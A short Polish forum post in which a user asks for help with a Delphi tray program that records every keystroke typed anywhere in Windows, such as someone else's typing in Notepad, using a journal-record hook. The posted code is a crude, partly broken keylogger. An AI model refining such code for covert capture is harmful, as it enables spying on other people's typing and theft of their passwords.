Cześć!! Mam problem:
chcĘ zrobić programik który będzie sobie siedział w Trayu i przechwytywał wszystkie naciskane klawisze w całej windzie. Np ktoś będzie pisał w notatniku a w moim programiku wszystko będzie rejestrowane!
Próbowałem czegoś takiego:
implementation
var
Hook:Integer;
MessageBuffer:TEventMsg;
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message=WM_KEYUP then begin
Form1.Memo1.Text:=Form1.Memo1.Text+ chr(MessageBuffer.paraml);
Result:=0;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;
end.
to działa ale zwraca tylko duże litery a jak wcisnę np: Shift czy Alt wstawia jakieś dziwne znaki!
;( Help ;(